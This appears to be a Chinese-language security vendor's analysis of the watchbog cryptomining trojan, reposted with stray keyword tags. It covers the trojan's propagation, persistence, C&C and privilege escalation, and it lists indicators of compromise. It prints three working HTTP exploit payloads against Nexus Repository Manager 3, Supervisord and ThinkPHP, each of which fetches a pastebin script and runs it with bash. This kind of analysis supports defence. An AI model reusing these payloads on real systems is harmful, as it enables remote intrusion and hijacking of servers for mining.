近日,阿里雲安全監測到watchbog挖礦木馬使用新曝光的Nexus Repository Manager 3遠程代碼執行漏洞(CVE-2019-7238)進行攻擊並挖礦的事件。php
值得注意的是,這一攻擊開始的時間(2月24日),與2月5日上述產品的母公司發佈漏洞公告,相隔僅僅半個多月,再次印證了「漏洞從曝光到被黑產用於挖礦的時間愈來愈短」。此外,攻擊者還利用了Supervisord, ThinkPHP等產品的漏洞進行攻擊。java
本文分析了該木馬的內部結構和傳播方式,並就如何清理、預防相似挖礦木馬給出了安全建議。linux
攻擊者主要經過直接攻擊主機服務的漏洞,來進行木馬的傳播,也就是說它目前不具有蠕蟲的傳染性,這一點上相似8220團伙。即使如此,攻擊者仍然獲取了大量的肉雞。ios
尤爲2月24日,攻擊者從本來只攻擊ThinkPHP和Supervisord,到加入了Nexus Repository Manager 3的攻擊代碼,能夠看到其礦池算力當天即飆升約3倍,達到了210KH/s左右(盈利約25美圓/天),意味着最高時可能有1~2萬臺主機受控進行挖礦。git
如下爲阿里雲安全採集到的3種攻擊payloadgithub
(1) 針對Nexus Repository Manager 3 遠程代碼執行漏洞(CVE-2019-7238)的利用shell
POST /service/extdirect HTTP/1.1 Host: 【victim_ip】:8081 X-Requested-With: XMLHttpRequest Content-Type: application/json {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "233.class.forName('java.lang.Runtime').getRuntime().exec('curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby')"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}
(2)針對Supervisord遠程命令執行漏洞(CVE-2017-11610)的利用express
POST /RPC2 HTTP/1.1 Host: 【victim_ip】:9001 Content-Type: application/x-www-form-urlencoded <?xml version=\"1.0\"?>\u0002<methodCall>\u0002<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>\u0002<params>\u0002<param>\u0002<string>curl https://pastebin.com/raw/zXcDajSs -o /tmp/baby</string>\u0002</param>\u0002</params>\u0002</methodCall>
(3)針對ThinkPHP遠程命令執行漏洞的利用json
POST /index.php?s=captcha HTTP/1.1 Host: 【victim_host】 Content-Type: application/x-www-form-urlencoded _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby
以上三種payload的目的都是相同的,那就是控制主機執行如下命令api
curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby
被攻擊的主機受控訪問 https://pastebin.com/raw/zXcDajSs ,經屢次跳轉後,會獲得以下圖所示的shell腳本,其包含cronlow(), cronhigh(), flyaway()等多個函數。
分析後得出,該腳本主要包含如下幾個模塊:
1.挖礦模塊
挖礦模塊的download()函數,會從https://ptpb.pw/D8r9 (即$mi_64解碼後的內容)下載由xmrig改寫的挖礦程序,保存爲/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/watchbog,並從https://ptpb.pw/hgZI 下載配置文件,以後啓動挖礦。
另外一個函數testa()也是相似,只不過它下載的是xmr-stak挖礦程序。
2.持久化模塊
將要執行的惡意命令寫入/etc/cron.d/root等多個文件
3.c&c模塊
c&c模塊主要在dragon()和flyaway()函數中實現。
以下圖所示爲解碼後的dragon函數
它會依次請求https://pastebin.com/raw/05p0fTYd 等多個地址,並執行收到的命令。有趣的是,這些地址目前存放的都是一些普通單詞,多是木馬做者留待未來使用。
flyaway()函數則與dragon()稍有不一樣,它會先從https://pixeldra.in/api/download/8iFEEg 下載/tmp/elavate。
逆向可知,/tmp/elavate是使用Ubuntu本地權限提高漏洞(CVE-2017-16995)進行提權的二進制程序。提權後,嘗試以root權限執行從https://pastebin.com/raw/aGTSGJJp 獲取的命令。
阿里雲安全已和http://pastebin.com進行聯繫,要求禁止對上述惡意下載連接的訪問,對方暫未迴應。此外,雲安全爲用戶提供以下安全建議:
礦池地址:
http://pool.minexmr.com:443
錢包地址:
44gaihcvA4DHwaWoKgVWyuKXNpuY2fAkKbByPCASosAw6XcrVtQ4VwdHMzoptXVHJwEErbds66L9iWN6dRPNZJCqDhqni3B
相關文件:
其餘惡意url:
https://pastebin.com/raw/AgdgACUD
https://pastebin.com/raw/vvuYb1GC
https://pixeldra.in/api/download/nZ2s4L (用來下載32位XMR挖礦程序,連接已失效)
https://pastebin.com/raw/aGTSGJJp (目前不存在)
https://pastebin.com/raw/05p0fTYd
https://pastebin.com/raw/KxWPFeEn
https://pastebin.com/raw/X6wvuv98
Reference